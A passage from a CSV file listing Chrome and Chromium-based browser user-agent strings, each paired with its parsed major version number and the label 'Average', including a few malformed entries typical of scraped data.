Chrome/51.0.2704.84 Safari/537.36\",51,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_7) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.91 Safari/534.30\",12,Average\n\"Mozilla/5.0 (Linux; Android 5.0.2; LG-D415 Build/LRX22G) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/34.0.1847.118 Mobile Safari/537.36\",34,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36\",45,Average\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.89 Safari/537.36\",62,Average\n\"Mozilla/5.0 (Linux; Android 7.0; LGMP260 Build/NRD90U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.83 Mobile Safari/537.36\",58,Average\n\"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.89 Safari/537.36\",53,Average\n\"Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36\",45,Average\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.65 Safari/537.36\",39,Average\n\"=Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16\",10,Average\n\"Mozilla/5.0 (X11; CrOS x86_64 9592.94.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.114 Safari/537.36\",60,Average\n\"Mozilla/5.0 (Linux; Android 4.4.2; ASUS_T00I Build/KVT49L) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Mobile Safari/537.36\",30,Average\n\"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36\",45,Average\n\"Mozilla/5.0 (Linux; Android 5.1.1; SM-G360T1 Build/LMY47X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.89 Mobile Safari/537.36\",50,Average\n\"Mozilla/5.0 (Linux; Android 7.0; LGMS210 Build/NRD90U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.137 Mobile Safari/537.36\",64,Average\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.59 Safari/537.36\",55,Average\n\"Mozilla/5.0 (Linux; Android 5.1.1; VS425PP Build/LMY47V) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.89 Mobile Safari/537.36\",50,Average\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.168 Safari/535.19\",18,Average\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.36 Safari/535.7\",16,Average\n\"Mozilla/5.0 (Linux; Android 4.4.2; XDS-1078 Build/HAWK) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36\",30,Average\n\"Mozilla/5.0 (Linux; U; Android 4.4.2; en-us; LG-D850/D85010f Build/KVT49L.D85010f) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.1599.103 Mobile Safari/537.36\",30,Average\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.124 Safari/537.36\",43,Average\n\"Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.87 Safari/537.36\",50,Average\n\"Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36\",49,Average\n\"Mozilla/5.0 (Linux; Android 4.2.2; en-us; SAMSUNG-SGH-I337 Build/JDQ39) AppleWebKit/535.19 (KHTML, like Gecko) Version/1.0 Chrome/18.0.1025.308 Mobile Safari/535.19\",18,Average\n\"Mozilla/5.0 (Linux; Android 6.0.1; Z981 Build/MMB29M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.84 Mobile Safari/537.36\",62,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.78 Safari/537.36\",60,Average\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11\",17,Average\n\"Mozilla/5.0 (Linux; Android 6.0.1; SM-G920V Build/MMB29K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.98 Mobile Safari/537.36\",52,Average\n\"Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36\",63,Average\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.132 Safari/537.36\",34,Average\n\"Mozilla/5.0 (Linux; Android 7.0; HUAWEI NXT-AL10 Build/HUAWEINXT-AL10) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Mobile Safari/537.36\",60,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36\",50,Average\n\"Mozilla/5.0 (Windows NT 6.0) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.172 Safari/537.22\",25,Average\n\"Mozilla/5.0 (Linux; Android 4.4.4; en-us; SAMSUNG SM-N900P Build/KTU84P) AppleWebKit/537.36 (KHTML, like Gecko) Version/1.5 Chrome/28.0.1500.94 Mobile Safari/537.36\",28,Average\n\"Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.146 Safari/537.36\",65,Average\n\"Mozilla/5.0 (Windows NT 6.3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36\",57,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36\",53,Average\n\"'mozilla/5.0 (Linux; Android 6.0.1; Nexus 5x build/mtc19t applewebkit/537.36 (KHTML, like Gecko) Chrome/51.0.2702.81 Mobile Safari/537.36'\",51,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.89 Safari/537.36\",53,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit 537.36 (KHTML, like Gecko) Chrome\",,Average\n\"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36\",45,Average\n\"Mozilla/5.0 (Linux; Android 7.0; SM-J327T1 Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.111 Mobile Safari/537.36\",63,Average\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 11_0_3 like Mac OS X) AppleWebKit/604.1.34 (KHTML, like Gecko) CriOS/62.0.3202.70 Mobile/15A432 Safari/604.1\",62,Average\n\"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.75 Safari/537.36\",50,Average\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.82 Safari/537.36\",48,Average\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11\",20,Average\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36\",34,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36\",63,Average\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.89 Safari/537.1\",21,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36\",48,Average\n\"Mozilla/5.0 (Linux; Android 4.4.4; N817 Build/KTU84P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.109 Mobile Safari/537.36\",40,Average\n\"Mozilla/5.0 (Linux; Android 6.0.1; LG-M153 Build/MXB48T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.124 Mobile Safari/537.36\",53,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.109 Safari/537.36\",59,Average\n\"Mozilla/5.0 (Linux; Android 4.4.2; en-us; SAMSUNG SM-T520 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/1.5 Chrome/28.0.1500.94 Safari/537.36\",28,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36\",51,Average\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.75 Safari/537.36\",50,Average\n\"Mozilla/5.0 (Linux; Android 4.4.2; en-us; SAMSUNG SM-G386T1 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/1.6 Chrome/28.0.1500.94 Mobile Safari/537.36\",28,Average\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.162 Safari/537.36\",65,Average\n\"Mozilla/5.0 (iPad; CPU OS 11_2_1 like Mac OS X) AppleWebKit/604.1.34 (KHTML, like Gecko) CriOS/63.0.3239.73 Mobile/15C153 Safari/604.1\",63,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_2) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11\",23,Average\n\"Mozilla/5.0 (Windows NT 5.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.87 Safari/537.36\",50,Average\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.2.0.0 Safari/537.22\",25.2,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.103 Safari/537.36\",48,Average\n\"Mozilla/5.0 (X11; CrOS armv7l 7262.57.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.98 Safari/537.36\",45,Average\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.81 Safari/537.36\",43,Average\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36\",34,Average\n\"Mozilla/5.0 (Linux; Android 6.0.1; LG-M153 Build/MXB48T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.111 Mobile Safari/537.36\",63,Average\n\"Mozilla/5.0 (Linux; Android 4.4.2; Hol-U19 Build/HUAWEIHol-U19) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Mobile Safari/537.36\",30,Average\n\"Mozilla/5.0 (Linux; Android 4.4.2; C6730 Build/KVT49L) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Mobile Safari/537.36\",30,Average\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.2.2.0 Safari/537.31\",26.2,Average\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.75 Safari/537.36\",49,Average\n\"Mozilla/5.0 (Linux; Android 4.4.2; BLU STUDIO 5.0 C Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.83 Mobile Safari/537.36\",47,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_2) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.52 Safari/537.17\",24,Average\n\"Mozilla/5.0 (Linux; Android 4.2.2; QMV7A Build/JDQ39) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.94 Safari/537.36\",28,Average\n\"Mozilla/5.0 (Linux; Android 7.0; HUAWEI VNS-L21 Build/HUAWEIVNS-L21; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/59.0.3071.125 Mobile Safari/537.36 [FB_IAB/FB4A;FBAV/130.0.0.45.70;]\",59,Average\n\"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.56 Safari/537.17\",24,Average\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.71 Safari/537.36\",46,Average\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.114 Safari/537.36\",35,Average\n\"Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.167 Safari/537.36\",64,Average\n\"Mozilla/5.0 (X11; CrOS armv7l 9901.77.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.97 Safari/537.36\",62,Average\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/603.1.30 (KHTML, like Gecko) CriOS/61.0.3163.73 Mobile/15A372 Safari/602.1\",61,Average\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.76 Safari/537.36\",56,Average\n\"Mozilla/5.0 (Linux; Android 4.4.2; en-us; SAMSUNG SPH-L720 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/1.5 Chrome/28.0.1500.94 Mobile Safari/537.36\",28,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.101 Safari/537.36\",60,Average\n\"Mozilla/5.0 (X11; CrOS x86_64 9592.71.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.80 Safari/537.36\",60,Average\n\"Mozilla/5.0 (Linux; Android 4.4.2; LGMS323 Build/KOT49I.MS32310b) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.103 Mobile Safari/537.36\",30,Average\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.96 Safari/537.36\",58,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.95 Safari/537.36\",55,Average\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.21 Safari/537.36\",53,Average\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.82 Safari/537.36\",48,Average\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36\",36,Average\n\"Mozilla/5.0 (X11; Linux i686) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.77 Large Screen Safari/534.24 GoogleTV/092754\",11,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36\",65,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36\",62,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36\",53,Average\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 11_2_6 like Mac OS X) AppleWebKit/604.1.34 (KHTML, like Gecko) CriOS/64.0.3282.112 Mobile/15D100 Safari/604.1\",64,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36\",58,Average\n\"Mozilla/5.0 (X11; CrOS armv7l 8872.76.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.105 Safari/537.36\",55,Average\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2683.0 Safari/537.36\",51,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Safari/537.36\",47,Average\n\"Mozilla/5.0 (Linux; Android 4.2.1; Nexus 7 Build/JOP40D) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.166  Safari/535.19\",18,Average\n\"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) MxNitro/1.0.1.3000 Chrome/35.0.1849.0 Safari/537.36\",35,Average\n\"Mozilla/5.0 (Linux; Android 4.4.4; Z970 Build/KTU84P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Mobile Safari/537.36\",49,Average\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.109 Safari/537.36\",48,Average\n\"Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.86 Safari/537.36\",46,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.167 Safari/537.36\",64,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36\",46,Average\n\"Mozilla/5.0 (Linux; Android 4.4.4; en-us; SAMSUNG-SM-N900A Build/KTU84P) AppleWebKit/537.36 (KHTML, like Gecko) Version/1.5 Chrome/28.0.1500.94 Mobile Safari/537.36\",28,Average\n\"Mozilla/5.0 (Linux; Android 4.2.2; en-us; SAMSUNG SGH-T399 Build/JDQ39) AppleWebKit/535.19 (KHTML, like Gecko) Version/1.0 Chrome/18.0.1025.308 Mobile Safari/535.19\",18,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36\",57,Average\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36\",45,Average\n\"Mozilla/5.0 (Linux; Android 4.3; en-us; SM-S975L Build/JSS15J) AppleWebKit/537.36 (KHTML, like Gecko) Version/1.5 Chrome/28.0.1500.94 Mobile Safari/537.36\",28,Average\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/33.0.0.0 Safari/534.24\",33,Average\n\"Mozilla/5.0 (Windows NT 6.3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36\",61,Average\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3053.4 Safari/537.36\",59,Average\n\"Mozilla/5.0 (X11; CrOS i686 3912.101.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36\",27,Average\n\"Mozilla/5.0 (Linux; Android 7.0; F3211 Build/36.1.A.0.182) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.116 Mobile Safari/537.36\",60,Average\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.86 Safari/537.36\",59,Average\n\"Mozilla/5.0 (iPad; CPU OS 10_2_1 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.79 Mobile/14D27 Safari/602.1\",56,Average\n\"Mozilla/5.0 (X11; CrOS armv7l 8530.96.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.154 Safari/537.36\",53,Average\n\"'Mozilla/5.0 (Linux; Android 7.1.2; Moto G Build/N2G47O) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3095.0 Mobile Safari/537.36'\",60,Average\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.83 Safari/537.36\",58,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36\",50,Average\n\"Mozilla/5.0 (Windows NT 6.0) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.43 Safari/537.31\",26,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_2) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.101 Safari/537.11\",23,Average\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.26 Safari/537.36\",50,Average\n\"Mozilla/5.0 (Linux; Android 4.4.2; en-gb; SAMSUNG SM-T230 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/1.5 Chrome/28.0.1500.94 Safari/537.36\",28,Average\n\"Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36\",45,Average\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 10_2_1 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/57.0.2987.100 Mobile/14D27 Safari/602.1\",57,Average\n\"Mozilla/5.0 (Linux; Android 4.4.2; 7040N Build/KVT49L) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.94 Mobile Safari/537.36\",45,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36\",56,Average\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 10_1_1 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/54.0.2840.91 Mobile/14B100 Safari/602.1\",54,Average\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.45 Safari/535.19\",18,Average\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36\",44,Average\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.86 Safari/537.36\",46,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.152 Safari/537.36\",33,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36\",45,Average\n\"Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36\",39,Average\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.78 Safari/537.36\",60,Average\nWindows NT 6.1; WOW64) Chrome/43.0.2357.65 Safari/537.36,43,Average\n\"Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.94 Safari/537.36\",50,Average\n\"Mozilla/5.0 (Linux; Android 4.4.2; SM-G900F Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.93 Mobile Safari/537.36\",39,Average\n\"Mozilla/5.0 (Linux; Android 4.3; en-us; SAMSUNG SM-N900V Build/JSS15J) AppleWebKit/537.36 (KHTML, like Gecko) Version/1.5 Chrome/28.0.1500.94 Mobile Safari/537.36\",28,Average\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36\",43,Average\n\"Mozilla/5.0 (Linux; Android 5.1.1) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Focus/2.0.1 Chrome/55.0.2883.91 Mobile Safari/537.36\",55,Average\n\"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.82 Safari/537.36\",59,Average\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.79 Safari/537.1\",21,Average\n\"Mozilla/5.0 (Windows NT 6.0) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5\",19,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36\",64,Average\n\"Mozilla/5.0 (Linux; Android 4.0.4; LG-MS770 Build/IMM76I) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.166 Mobile Safari/535.19\",18,Average\n\"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36\",44,Average\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36\",61,Average\n\"Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36\",60,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.104 Safari/537.36\",59,Average\n\"Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.86 Safari/537.36\",46,Average\n\"Mozilla/5.0 (Linux; Android 4.4.4; en-us; SAMSUNG-SM-G900A Build/KTU84P) AppleWebKit/537.36 (KHTML, like Gecko) Version/1.6 Chrome/28.0.1500.94 Mobile Safari/537.36\",28,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36\",64,Average\n\"Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.111 Mobile Safari/537.36\",63,Average\n\"Mozilla/5.0 (Linux; Android 7.1.1; Moto E (4) Build/NCQ26.69-46) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Mobile Safari/537.36\",56,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.59 Safari/537.36\",54,Average\n\"Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36\",46,Average\n\"Mozilla/5.0 (Linux; Android 5.1.1; 5017B Build/LMY47V) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.93 Mobile Safari/537.36\",43,Average\nMozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/28.0.1469.0 Safari/537.36,28,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36\",65,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.34 Safari/537.36\",53,Average\n\"Mozilla/5.0 (Linux; Android 4.4.2; en-us; SAMSUNG SM-T330NU Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/1.5 Chrome/28.0.1500.94 Safari/537.36\",28,Average\n\"Mozilla/5.0 (iPad; CPU OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) CriOS/29.0.1547.11 Mobile/9B206 Safari/7534.48.3\",29,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.111 